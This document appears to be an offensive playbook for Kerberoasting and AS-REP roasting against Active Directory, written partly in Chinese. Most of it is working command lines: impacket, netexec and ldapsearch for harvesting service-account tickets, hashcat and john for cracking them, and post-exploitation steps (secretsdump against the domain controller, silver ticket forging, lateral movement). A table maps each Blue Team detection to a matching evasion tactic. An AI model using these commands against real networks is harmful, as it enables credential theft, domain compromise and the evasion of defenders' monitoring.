kerberoast-attack

Kerberoasting & AS-REP Roasting

Core Value: Obtain high-privilege service account passwords with any domain user privileges → reach domain admin level without privilege escalation

⛔ In-Depth Reference

• Hashcat cracking modes and dictionary strategies → references/hash-cracking.md
• Multi-Hash Type GPU Benchmarks and Advanced Cracking Engineering → references/hash-cracking-guide.md
• Defense Evasion and Advanced Exploitation → references/advanced-kerberoast.md

---

Part A: Kerberoasting (requires any domain user credentials)

Phase 1: SPN Enumeration

# impacket — 最推荐
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request

netexec

netexec ldap DC_IP -u user -p pass --kerberoasting output.txt

Pure LDAP Query

ldapsearch -H ldap://DC_IP -D "user@domain" -w "pass"
-b "DC=domain,DC=com" "(&(objectClass=user)(servicePrincipalName=*))"
sAMAccountName servicePrincipalName memberOf

PowerShell (already on a domain machine)

setspn -T domain -Q /

or

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

### Phase 2: 票据请求策略

Encryption Type Selection: ├─ RC4 (etype 23) → hashcat mode 13100 → fast cracking ⭐ ├─ AES256 (etype 18) → hashcat mode 19700 → 10x slower cracking └─ AES128 (etype 17) → hashcat mode 19600 → medium

Strategy: ├─ Default impacket requests RC4 → fastest cracking ├─ If the target enforces AES → can only accept slow cracking ├─ ⛔ Domain controllers may monitor RC4 TGS requests → OPSEC risk! └─ AES requests are stealthier (normal behavior), but cracking is slow

**OPSEC 考虑：**

Stealthy method: request AES-encrypted tickets (looks more normal)

impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request -outputfile hashes.txt

Ultra-stealthy: request only specific high-value SPNs (do not enumerate all)

impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP
-request -target-user svc_sql_admin

⛔ Avoid: requesting tickets for all SPNs at once → alert

### Phase 3: 离线破解

```bash
# Hashcat — GPU 破解
hashcat -m 13100 hashes.txt wordlist.txt           # RC4
hashcat -m 19700 hashes.txt wordlist.txt           # AES256
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule  # 规则

# John the Ripper
john --format=krb5tgs hashes.txt --wordlist=wordlist.txt

# 字典选择优先级
├─ 1. 目标相关字典（公司名+年份+特殊字符）
├─ 2. rockyou.txt + 规则
├─ 3. 泄露密码库
└─ 4. 组合攻击（公司名 + 常见模式）

Phase 4: High-Value Target Identification

并非所有 SPN 账户都值得破解，优先级：

高价值（优先破解）：
├─ 账户是 Domain Admins / Enterprise Admins 成员
├─ 账户名含 "admin" / "svc" / "sql" / "backup"
├─ 账户有 AdminCount=1 属性
├─ 账户在 BloodHound 攻击路径上
└─ 账户密码策略宽松（无强制复杂度）

判断方法：
ldapsearch ... "(&(servicePrincipalName=*)(adminCount=1))" sAMAccountName

---

Part B: AS-REP Roasting (no credentials required / requires user list)

Phase 1: Discover users that do not require pre-authentication

# 无需凭据 — 枚举无需预认证的用户
impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile users.txt \
  -format hashcat -outputfile asrep_hashes.txt

# 有凭据 — 查询所有无需预认证的用户
impacket-GetNPUsers DOMAIN/user:pass -dc-ip DC_IP -request

# LDAP 查询
ldapsearch -H ldap://DC_IP -D "user@domain" -w "pass" \
  -b "DC=domain,DC=com" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  sAMAccountName

# netexec
netexec ldap DC_IP -u user -p pass --asreproast asrep.txt

Phase 2: Crack AS-REP Hashes

# hashcat mode 18200
hashcat -m 18200 asrep_hashes.txt wordlist.txt -r rules/best64.rule

# john
john --format=krb5asrep asrep_hashes.txt --wordlist=wordlist.txt

---

Part C: Post-Exploitation — After Successful Cracking

拿到服务账户密码后：
├─ 使用凭据横向移动
│   netexec smb TARGETS -u svc_account -p 'cracked_pass'
├─ 如果是 DA/高权限
│   impacket-secretsdump DOMAIN/svc_admin:pass@DC_IP
├─ 申请 Silver Ticket（不经过 DC 验证）
│   impacket-ticketer -nthash HASH -domain-sid S-1-5-... -domain DOMAIN -spn ...
└─ 添加 SPN 到已控账户 → Targeted Kerberoasting
    setspn -a http/fake svc_account  # 让其他人可以对你 Kerberoast

Detection and Evasion Comparison

Blue Team Detection	Red Team Countermeasure
Large number of TGS requests (EventID 4769)	Request only high-value targets, do not enumerate all
RC4 downgrade detection	Request AES256 tickets (slow to crack but stealthy)
Honeypot SPN accounts	Compare BloodHound data, exclude anomalous SPNs
Anomalous request times	Operate during business hours
Large number of tickets for a specific account	Spread out request times

Tool Quick Reference

Tool	Purpose
impacket-GetUserSPNs	Kerberoasting ticket requests
impacket-GetNPUsers	AS-REP Roasting
netexec	Integrated enumeration and attack
Rubeus	Windows-side Kerberoasting (including OPSEC options)
hashcat	GPU offline cracking
BloodHound	Identify high-value SPN accounts